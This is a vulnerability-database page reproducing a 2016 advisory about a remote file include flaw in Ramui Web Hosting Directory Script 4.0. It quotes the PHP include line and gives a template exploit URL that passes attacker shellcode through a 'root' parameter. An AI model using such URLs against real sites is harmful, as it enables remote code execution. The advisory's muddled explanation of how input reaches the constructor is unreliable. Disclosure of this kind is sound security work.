Lucene search
K

Ramui Web Hosting Directory Script 4.0 RFI

🗓️ 28 Jan 2016 00:00:00Reported by bd0rkType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

Ramui Web Hosting Directory Script 4.0 RFI, Remote File Include Vulnerability, Exploit via connection.ph

Code
`# Title: Ramui web hosting directory script 4.0 Remote File Include Vulnerability  
# Author: bd0rk  
# Twitter: twitter.com/bd0rk  
# Vendor: http://www.ramui.com  
# Download: http://ramui.com/directory-script/download-v4.html  
  
Proof-of-Concept:  
/gb/include/connection.php lines 6-13 in php-sourcecode  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
class connection  
{  
protected $site;  
public $error=false;  
protected $admin=false;  
function __construct($root)  
{  
include $root."database/config.php";  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
The $root-parameter is a __construct.  
But no value was passed to him.  
Therefore, nothing can be checked before include in line 13.  
So an attacker can execute malicious shellcode about it.  
In this case, the __construct is meaningless.  
  
  
[+]Exploit: http://[server]/path/gb/include/connection.php?root=[YourShellcode]  
  
  
~Everything revolves. Even the planet. :)~~  
***Greetz to ALL my followers on Twitter!***  
  
/bd0rk  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation